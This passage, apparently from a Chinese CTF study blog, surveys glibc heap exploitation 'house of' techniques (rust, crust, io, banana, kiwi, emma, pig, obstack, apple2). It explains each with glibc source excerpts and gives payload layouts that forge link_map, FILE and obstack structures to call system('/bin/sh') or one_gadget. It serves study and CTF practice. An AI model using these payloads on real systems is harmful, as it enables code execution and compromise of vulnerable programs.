  • 再次修改chunk14的bk的最低字节为0x80,指向tcache_perthread_struct + 0x80 - 0x18(0x30 tcache头部附近)
  • 之后通过largebin attack修改chunk14的fd以修复smallbin链
  • 清空tcahe然后再次分配0x90块,触发Tcache Stashing Unlink+机制,使得0x90 tcache头部指向tcache_perthread_struct + 0x80

第三阶段:Tcache Stashing Unlink 结合二次Largebin攻击

  • 分配15个0xa0的块
  • 通过将Tcache Stashing Unlink将libc地址写入tcache_perthread_struct

第四阶段:stdout FSOP泄露libc

  • 利用第三阶段写入的libc地址,部分写,多次爆破,即可将chunk分配到_IO_2_1_stdout_结构
  • 之后通过结构体复写即可触发libc泄露,泄露完就简单多了
1
2
_flags = 0xfbad1800
payload=p64(_flags)+p64(0)*3

第五阶段:最终Shell获取

  • __free_hook写system或者onegadget都是可以的

上面的过程最好的情况下需要爆破1/16,最差1/256

但是2.34之后,tcache_key是一个随机数,不是tcache_perthread_struct + 0x10了。

所以,此时可以加上largebin attack,把以上的第二步变为:继续用largebin attack向其bk写一个堆地址,然后还要部分写bk使其落在tcache_perthread_struct区域。其他步骤一样。

或者,在smallbin里面放9个,这样第8个的bk肯定就是一个堆地址。此时就需要爆破1/16的堆,1/16glibc地址,成功的概率是1/256

相关技巧

  • 总的来说,就是利用tcachebin stash unlinkingtcache_perthread_struct
  • 利用largebin attack构造合法地址

利用效果

  • 任意地址分配
  • 任意函数执行

house of crust

漏洞成因

堆溢出

适用范围

  • 2.26——2.37
  • 可以进行tcache stash unlinking攻击
  • 可以进行largebin attack
  • 不需要泄露地址

利用原理

其他步骤和上面的house of rust一样,但是到第五步的时候,去修改global_max_fast

后面的步骤和house of corrosion是一样的,通过写原语打stderr修改one_gadget拿到shell

相关技巧

  • house of crust = house of corrosion + house of rust
  • 2.37之后,house of corrosion使用受限

house of io

漏洞成因

堆溢出

适用范围

  • 2.26—— 至今

利用原理

其他博客上对该方法的介绍如下:

1
The tcache_perthread_object is allocated when the heap is created. Furthermore, it is stored right at the heap's beginning (at a relatively low memory address). The safe-linking mitigation aims to protect the fd/next pointer within the free lists. However, the head of each free-list is not protected. Additionally, freeing a chunk and placing it into the tcachebin also places a non-protected pointer to the appropriate tcache entry in the 2nd qword of a chunks' user data. The House of IO assumes one of three scenarios for the bypass to work. First, any attacker with a controlled linear buffer underflow over a heap buffer, or a relative arbitrary write will be able to corrupt the tcache. Secondly, a UAF bug allowing to read from a freed tcache eligible chunk leaks the tcache and with that, the heap base. Thirdly, a badly ordered set of calls to free(), ultimately passing the address of the tcache itself to free, would link the tcache into the 0x290 sized tcachebin. Allocating it as a new chunk would mean complete control over the tcache's values.

可以看出来,其实就是对 tcache_perthread_struct 结构体的攻击,想办法将其释放掉,然后再申请回来,申请回来的时候就能控制整个 tcache 的分配。

相关技巧

  • 围绕 tcache_perthread_struct 进行攻击

利用效果

  • 任意地址分配

house of banana

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以进行 largebin attack
  • 能执行 exit 函数

利用原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //调用函数
}

/* Next try the old-style destructor. */
if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

#ifdef SHARED
/* Auditing checkpoint: another object closed. */
_dl_audit_objclose (l);
#endif
}

/* Correct the previous increment. */
--l->l_direct_opencount;
}
1
2
3
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);//DT_FINI_ARRAY=26 d_un.d_ptr偏移为8

也就是我们将l->l_info[26]写入l_info[26]的地址,array的值就是l_info[27]中存放的值

1
2
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr))); //DT_FINI_ARRAYSZ=28,还是偏移8

也就是说我们在l_info[28]写入l_info[28]的地址,i的值就是l_info[29]中存放的值/8

1
2
while (i-- > 0)
((fini_t) array[i]) (); //调用函数

最后会执行array[i]->array[0],从i到0调用

2.31打orw:

  • 通过largebin attack伪造_rtld_globallink_map地址

  • 然后布局link_map打orw

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    link_map=p64(0)
    link_map+=p64(libc_base+0x223740)#l_next
    link_map+=p64(0)
    link_map+=p64(heap_base+0xb90+0x40)#l_real
    link_map+=p64(0)*28
    link_map+=p64(heap_base+0xc08+0x98+0x40)#l->l_info[26]
    link_map+=p64(heap_base+0xc08+32+0x98+0x40)#l->l_info[26]->d_un.d_ptr
    link_map+=p64(heap_base+0xc08+0x10+0x98+0x40)#l->l_info[28]
    link_map+=p64(0x20)#//i=l->l_info[28]->d_un.d_val
    link_map+=b"flag\x00\x00\x00\x00"
    link_map+=p64(heap_base+0xb90+0x40)
    link_map+=p64(setcontext)
    link_map+=p64(ret_addr)
    link_map+=p64(0)*12
    link_map+=p64(0)#rdi
    link_map+=p64(heap_base+0xdc8)#rsi
    link_map+=p64(0)*2
    link_map+=p64(0x100)#rdx
    link_map+=p64(0)*2

2.27打onegadget:

  • link_map:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    link_map=p64(0)*1
    link_map+=p64(libc_base+0x61c710)#l_next
    link_map+=p64(0)
    link_map+=p64(heap_base+0xb90)#l_real
    link_map+=p64(0)*28
    link_map+=p64(heap_base+0xc08+0x98)#l->l_info[26]
    link_map+=p64(heap_base+0xc08+32+0x98)#l->l_info[26]->d_un.d_ptr
    link_map+=p64(heap_base+0xc08+0x10+0x98)#l->l_info[28]
    link_map+=p64(8)#//i=l->l_info[28]->d_un.d_val
    link_map+=p64(one_gadget)
    link_map+=p64(heap_base+0xb90)
    link_map+=p64(0)*58
    link_map+=p64(0x800000000)

相关技巧

  • 伪造 fini_array 数组的时候,是从后往前遍历的
  • 有时候远程的 rtld_global 的偏移与本地不一样,需要爆破
  • 如果不想逐个伪造,可以直接用 gdb 从内存里面 dump 出来,然后基于偏移修改内存即可

利用效果

  • 任意代码执行

house of kiwi

漏洞成因

堆溢出

适用范围

  • 2.23——2.36
  • malloc 流程中触发 assert

利用原理

主要是提供了一种在程序中调用 IO 流函数的思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function) \
__malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
#endif
#endif

可以看到,调用到了 fxprintffflush(stderr)。对stderr进行劫持

_int_malloc

1
2
3
4
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

这个对top进行了assert判断

1
2
3
old_size >= 0x20;
old_top.prev_inuse = 0;
old_top页对齐

因此只要堆溢出改个size就可以触发assert了

__fxprintf函数中调用的是偏移0x38的指针

fflush函数中调用到了一个指针:位于_IO_file_jumps中的_IO_file_sync指针,且观察发现RDX寄存器的值为IO_helper_jumps指针

因此有以下的利用:

  • 通过largebin attack劫持stderr指针
  • 通过堆溢出或其他手法触发assert
  • 修改 _IO_file_jumps + 0x60_IO_file_sync指针为setcontext+61
  • 修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移(感觉条件要求好多,但是对于assert触发的IO可以利用)

利用效果

  • 触发 IO 处理流程,为后续利用做准备

house of emma

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以进行两次 largebin attack
  • 或者可以进行两次任意地址写堆地址
  • 可以触发 IO 流操作

利用原理

在vtable的合法范围之内,存在_IO_cookie_jumps,可以通过偏移来调用vtable表里的所有函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif

if (read_cb == NULL)
return -1;

return read_cb (cfile->__cookie, buf, size);
}

static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write; //0xf0
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif

if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}

ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;

return n;
}

static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif

return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}

static int
_IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif

if (close_cb == NULL)
return 0;

return close_cb (cfile->__cookie);
}

这四个函数作为我们考虑范围内的函数,发现其中调用的函数都是_IO_cookie_file的一个成员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Special file type for fopencookie function.  */
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};

typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read; /* Read bytes. */
cookie_write_function_t *write; /* Write bytes. */
cookie_seek_function_t *seek; /* Seek/tell file position. */
cookie_close_function_t *close; /* Close file. */
} cookie_io_functions_t;

但是我们发现

1
2
3
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif

在Glibc2.34及以上版本中的函数都进行了指针加密

1
2
0x7ffff7e06774 <_IO_cookie_write+20>:        ror    rax,0x11
0x7ffff7e06778 <_IO_cookie_write+24>: xor rax,QWORD PTR fs:0x30

显示右移0x11位,然后和tls里的一个数据进行了异或,因此我们只需要通过TSU,largebin attack等的手法将其改为一个特定的值,就能进行绕过,反正要么泄露要么覆盖,只要能成就行

因此,利用思路如下:

  • 截至某个 IO_FILE 的指针(IO_list_all/stdxxx->chain 等都可以)为堆地址
  • 堆上伪造 IO_FILE 结构,其 vtable 替换为_IO_cookie_jumps+XXXX 为一个偏移量
  • 伪造好函数指针和调用参数,指针需要循环异或和加密(在执行_IO_cookie_write的时候,rdi是fake_iofile,因此可以通过gadget来ROP)
  • 调用到_IO_cookie_read 等函数,进而执行任意函数

相关技巧

  • 常用的 gadget 有:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    ;栈迁移
    mov rbp,QWORD PTR [rdi+0x48]
    mov rax,QWORD PTR [rbp+0x18]
    lea r13,[rbp+0x10]
    mov DWORD PTR [rbp+0x10],0x0
    mov rdi,r13
    call QWORD PTR [rax+0x28]


    ; rdi转rdx
    mov rdx, qword ptr [rdi + 8]
    mov qword ptr [rsp], rax
    call qword ptr [rdx + 0x20]
  • pointer_guard 就在 canary 下面,偏移可能需要爆破

利用效果

  • 任意函数执行

例题

2021 湖湘杯的 House OF Emma

house of pig

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以进行 largebin attack
  • 可以触发 IO 流操作

利用原理

_IO_str_jumps 中,存在着_IO_str_overflow 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base; // 覆盖到这里
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size); // 调用malloc
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);// 调用memecpy,覆盖
free (old_buf); // 调用free
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
//......
}
}
1
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

只需要合理控制_IO_buf_end_IO_buf_base就可以实现chunk的size可控,只要分配出来的chunk也可控,那么就可以在任意地址任意写

利用流程如下:

  • 先通过largebin attack将想控制的chunk_addr+0x18写上一个堆地址,然后通过tcache stashing unlink+使得分配的chunk可控
  • 伪造一个_IO_FILE_plus结构,其vtable指向_IO_str_jumps
  • 然后伪造的_IO_buf_base为想写入的值的起点(所以要先在已知地址写入想写入的数据),之后合理控制_IO_buf_end实现控制分配chunk的大小
  • memcpy 中覆盖地址,如可以覆盖__malloc_hook/__free_hook

该方法需要结合其他堆利用技术,需要保证 malloc 分配出来的 chunk 的地址是可控的。该方法主要提供了对 IO 系列函数中间接调用 mallc/free/memcpy 的组合利用。

相关技巧

  • 可以 largebin attack 打掉 mp_.tcachebins,进而能把很大的 chunk 也放进入 tcache 进行管理
  • 高版本没有 hook 的话,可以利用 memcpy@got,通过覆写 got 来进行 rce
  • 可以多次 house of pig 组合调用

利用效果

  • 任意函数执行
  • ROP 控制程序执行流

house of obstack

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以执行一次 largebin attack
  • 可以触发 IO 流操作

利用原理

一条新的利用链,伪造 vtable_IO_obstack_jumps,然后调用到_IO_obstack_xsputn,紧接着调用 obstack_grow,其代码为:

1
2
3
4
5
6
7
8
9
#define obstack_grow(OBSTACK, where, length)                      \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (_o->next_free + __len > __o->chunk_limit) \
_obstack_newchunk (__o, __len); \
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })

然后在_obstack_newchunk 调用了 CALL_CHUNKFUN 这个宏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void
_obstack_newchunk (struct obstack *h, int length)
{
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;

/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;

/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN (h, new_size);
[...]
}

这个宏会调用到函数指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void
_obstack_newchunk (struct obstack *h, int length)
{
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;

/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;

/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN (h, new_size);
[...]
}

因此,其就是利用该函数指针进行控制程序的执行流。

相关技巧

伪造的 IO_FILE 布局如下:

  • 利用 largebin attack 伪造_IO_FILE,记完成伪造的 chunkA(或者别的手法)
  • chunk A 内偏移为 0xd8 处设为_IO_obstack_jumps+0x20
  • chunk A 内偏移为 0xe0 处设置 chunk A 的地址作为 obstack 结构体
  • chunk A 内偏移为 0x18 处设为 1next_free)
  • chunk A 内偏移为 0x20 处设为 0chunk_limit
  • chunk A 内偏移为 0x48 处设为 &/bin/sh
  • chunk A 内偏移为 0x38 处设为 system 函数的地址
  • chunk A 内偏移为 0x28 处设为 1_IO_write_ptr)
  • chunk A 内偏移为 0x30 处设为 0 (_IO_write_end)
  • chunk A 内偏移为 0x50 处设为 1 (use_extra_arg)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload=flat(
{
0x18:1,
0x20:0,
0x28:1,
0x30:0,
0x38:&system,
0x48:&/bin/sh,
0x50:1,
0xd8:&_IO_obstack_jumps+0x20,
0xe0:chunkA,
}
filler= '\x00'
)

glibc-2.37 开始这个方法的调用链为:__printf_buffer_as_file_overflow -> __printf_buffer_flush -> __printf_buffer_flush_obstack->__obstack_newchunk

利用效果

  • 任意函数执行

house of apple2

漏洞成因

  • 堆溢出

适用范围

  • 2.23—— 至今
  • 已知 heap 地址和 glibc 地址
  • 能控制程序执行 IO 操作,包括但不限于:从 main 函数返回、调用 exit 函数、通过__malloc_assert 触发
  • 能控制_IO_FILEvtable_wide_data,一般使用 largebin attack 去控制

利用原理

_IO_wfile_jumps_IO_wfile_overflow 函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
......
}
......
}

调用_IO_wdoallocbuf (f);

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

调用了(wint_t)_IO_WDOALLOCATE (fp)这个函数

1
2
3
4
5
6
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到调用的是_wide_vtable里的__doallocate函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct _IO_FILE_plus 
file = {
_flags = -72537977,
_IO_read_ptr = 0x7f6d399137e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7f6d399137e3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7f6d399137e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7f6d399137e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7f6d399137e3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7f6d399137e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7f6d399137e3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7f6d399137e4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f6d39912a80 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7f6d39915730 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f6d39912980 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f6d39914560 <__GI__IO_file_jumps>

有一个_wide_data结构体,之前分析调用的是_wide_datawide_vtable里的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
struct _IO_wide_data
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x7f6d39914020 <__GI__IO_wfile_jumps>

因此有以下利用:

  • IO_FILE 中的 vtable 字段改为 _IO_wfile_jumps
  • IO_FILE 中的 wide_data 设置为可控堆地址,目的是控制 wide_data 中的 write_basebuf_base 为0
  • 控制 wide_data->wide_vtable 为地址 A,地址 A 满足 *(A+0x68) == system (此处的 system 地址是自己布置的)

总结下执行到最后的位置需要绕过的检查

  1. _flags 设置为~(2 | 0x8 | 0x800) ,如果是需要获取 shell 的话,那么可以将参数写为 sh; 这样 _flags 既能绕过检查,又能被 system 函数当做参数成功执行。需要注意的是 sh; 前面是有两个空格的(这个值是 0x3b68732020
  2. _wide_data->_IO_write_base 设置为 0 , fp->_wide_data->_IO_buf_base 设置为 0
  3. fp->_mode == 0fp->_IO_write_ptr > fp->_IO_write_base ,这样即可触发 _IO_OVERFLOW

相关技巧

利用_IO_wfile_overflow 函数控制程序执行流时对 fp 的设置如下:

  • _flags 设置为 ~(2 | 0x8 | 0x800),如果不需要控制 rdi,设置为 0 即可;如果需要获得 shell,可设置为 sh;,注意前面有两个空格
  • vtable 设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址(加减偏移),使其能成功调用_IO_wfile_overflow 即可
  • _wide_data 设置为可控堆地址 A,即满足 *(fp + 0xa0) = A
  • _wide_data->_IO_write_base 设置为 0,即满足 *(A + 0x18) = 0
  • _wide_data->_IO_buf_base 设置为 0,即满足 *(A + 0x30) = 0
  • _wide_data->_wide_vtable 设置为可控堆地址 B,即满足 *(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP,即满足 *(B + 0x68) = C

利用效果

  • 任意函数执行

参考

https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/